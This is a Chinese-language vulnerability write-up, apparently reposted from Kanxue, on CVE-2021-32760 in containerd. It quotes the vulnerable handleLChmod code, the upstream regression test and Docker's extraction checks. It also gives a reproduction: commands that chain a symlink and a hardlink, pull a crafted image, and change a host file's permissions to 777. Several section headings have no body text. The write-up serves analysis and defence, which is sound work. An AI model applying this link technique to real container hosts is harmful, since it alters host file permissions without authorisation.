一 漏洞背景
二 漏洞分析与复现
漏洞分析
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error { if hdr.Typeflag == tar.TypeLink { if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) { if err := os.Chmod(path, hdrInfo.Mode()); err != nil && !os.IsNotExist(err) { return err } } } else if hdr.Typeflag != tar.TypeSymlink { if err := os.Chmod(path, hdrInfo.Mode()); err != nil { return err } } return nil }
func lchmod(path string, mode os.FileMode) error { fi, err := os.Lstat(path) if err != nil { return err } if fi.Mode()&os.ModeSymlink == 0 { if err := os.Chmod(path, mode); err != nil { return err } } return nil }
{ name: "HardlinkSymlinkChmod", w: func() tartest.WriterToTar { p := filepath.Join(td, "perm400") if err := ioutil.WriteFile(p, []byte("..."), 0400); err != nil { t.Fatal(err) } ep := filepath.Join(td, "also-exists-outside-root") if err := ioutil.WriteFile(ep, []byte("..."), 0640); err != nil { t.Fatal(err) } return tartest.TarAll( tc.Symlink(p, ep), tc.Link(ep, "sketchylink"), ) }(), validator: func(string) error { p := filepath.Join(td, "perm400") fi, err := os.Lstat(p) if err != nil { return err } if perm := fi.Mode() & os.ModePerm; perm != 0400 { return errors.Errorf("%s perm changed from 0400 to %04o", p, perm) } return nil }, }
漏洞复现
/home/admin # ln -s /home/admin/poc /home/admin/ep;ln ep sketchylink;ls -al total 0 drwxr-xr-x 2 root root 33 Jul 23 10:46 . drwxr-xr-x 3 nobody nobody 18 Jul 23 10:45 .. lrwxrwxrwx 2 root root 15 Jul 23 10:45 ep -> /home/admin/poc lrwxrwxrwx 2 root root 15 Jul 23 10:45 sketchylink -> /home/admin/poc
$ls -al total 40 drwxr-xr-x 3 admin admin 4096 Jul 23 19:19 . drwxr-xr-x. 21 root root 4096 Jul 22 13:47 .. -rw-r--r-- 1 root root 0 Jul 23 19:19 ep -r-------- 1 root root 0 Jul 23 19:19 poc
$sudo ctr image pull docker.io/test_images/vul:busybox-cve-2021-32760-0.5 docker.io/test_images/vul:busybox-cve-2021-32760-0.5: resolved |++++++++++++++++++++++++++++++++++++++| manifest-sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa: done |++++++++++++++++++++++++++++++++++++++| config-sha256:41346c641dd83548d3517a1caac991a0a8acdc427936e7e459ac8b78a5d8ae51: done |++++++++++++++++++++++++++++++++++++++| layer-sha256:b71f96345d44b237decc0c2d6c2f9ad0d17fde83dad7579608f1f0764d9686f2: exists |++++++++++++++++++++++++++++++++++++++| layer-sha256:4ee243a3930c69f74db7f5a33d5c46dfc0e2ef14452503ead59b386aad009078: done |++++++++++++++++++++++++++++++++++++++| elapsed: 1.1 s total: 734.0 (666.0 B/s) unpacking linux/amd64 sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa... done
$ls -al ep poc -rw-r--r-- 1 root root 0 Jul 23 19:23 ep -rwxrwxrwx 1 root root 0 Jul 23 19:21 poc
// Iterate through the files in the archive. for { select { case <-ctx.Done(): return 0, ctx.Err() default: } hdr, err := tr.Next() if err == io.EOF { // end of tar archive break } if err != nil { return 0, err } size += hdr.Size // Normalize name, for safety and for a simple is-root check hdr.Name = filepath.Clean(hdr.Name) accept, err := options.Filter(hdr) if err != nil { return 0, err } if !accept { continue } if skipFile(hdr) { log.G(ctx).Warnf("file %q ignored: archive may not be supported on system", hdr.Name) continue } // Split name and resolve symlinks for root directory. ppath, base := filepath.Split(hdr.Name) ppath, err = fs.RootPath(root, ppath) if err != nil { return 0, errors.Wrap(err, "failed to get root path") } // Join to root before joining to parent path to ensure relative links are // already resolved based on the root before adding to parent. path := filepath.Join(ppath, filepath.Join("/", base)) if path == root { log.G(ctx).Debugf("file %q ignored: resolved to root", hdr.Name) continue } // If file is not directly under root, ensure parent directory // exists or is created. if ppath != root { parentPath := ppath if base == "" { parentPath = filepath.Dir(path) } if err := mkparent(ctx, parentPath, root, options.Parents); err != nil { return 0, err } }
fs.RootPath
在所有的路径前面都加上了root目录,限制了目录的范围,无法进行穿越,之后createTarFile
函数对压缩包的不同文件类型都进行了处理,当文件类型是软链接时:case tar.TypeSymlink: if err := os.Symlink(hdr.Linkname, path); err != nil { return err }
handleLChmod
代码中,对tar文件的文件类型进行了判断,并未对链接的文件类型进行限制,因此当采用软连接+硬链接时,会直接链接到宿主机的文件中,从而将宿主机的文件权限进行修改。for { hdr, err := tr.Next() if err == io.EOF { // end of tar archive break } if err != nil { return err } // ignore XGlobalHeader early to avoid creating parent directories for them if hdr.Typeflag == tar.TypeXGlobalHeader { logrus.Debugf("PAX Global Extended Headers found for %s and ignored", hdr.Name) continue } // Normalize name, for safety and for a simple is-root check // This keeps "../" as-is, but normalizes "/../" to "/". Or Windows: // This keeps ".." as-is, but normalizes ".." to "". hdr.Name = filepath.Clean(hdr.Name) for _, exclude := range options.ExcludePatterns { if strings.HasPrefix(hdr.Name, exclude) { continue loop } } // After calling filepath.Clean(hdr.Name) above, hdr.Name will now be in // the filepath format for the OS on which the daemon is running. Hence // the check for a slash-suffix MUST be done in an OS-agnostic way. if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) { // Not the root directory, ensure that the parent directory exists parent := filepath.Dir(hdr.Name) parentPath := filepath.Join(dest, parent) if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) { err = idtools.MkdirAllAndChownNew(parentPath, 0755, rootIDs) if err != nil { return err } } } path := filepath.Join(dest, hdr.Name) rel, err := filepath.Rel(dest, path) if err != nil { return err } if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) { return breakoutError(fmt.Errorf("%q is outside of %q", hdr.Name, dest)) }
dest
的限制,并且禁止使用..
的相对路径,因此在docker中这部分逻辑不存在目录穿越的问题。再看下对于链接文件的处理情况:case tar.TypeLink: targetPath := filepath.Join(extractDir, hdr.Linkname) // check for hardlink breakout if !strings.HasPrefix(targetPath, extractDir) { return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname)) } if err := os.Link(targetPath, path); err != nil { return err } case tar.TypeSymlink: // path -> hdr.Linkname = targetPath // e.g. /extractDir/path/to/symlink -> ../2/file = /extractDir/path/2/file targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname) // the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because // that symlink would first have to be created, which would be caught earlier, at this very check: if !strings.HasPrefix(targetPath, extractDir) { return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname)) } if err := os.Symlink(hdr.Linkname, path); err != nil { return err }
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error { if hdr.Typeflag == tar.TypeLink { if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) { if err := os.Chmod(path, hdrInfo.Mode()); err != nil { return err } } } else if hdr.Typeflag != tar.TypeSymlink { if err := os.Chmod(path, hdrInfo.Mode()); err != nil { return err } } return nil }
三 影响范围
四 漏洞缓解和修复措施
看雪ID:wx_游由
https://bbs.kanxue.com/user-home-765771.htm
原文始发于微信公众号(看雪学苑):CVE-2021-32760漏洞分析与复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论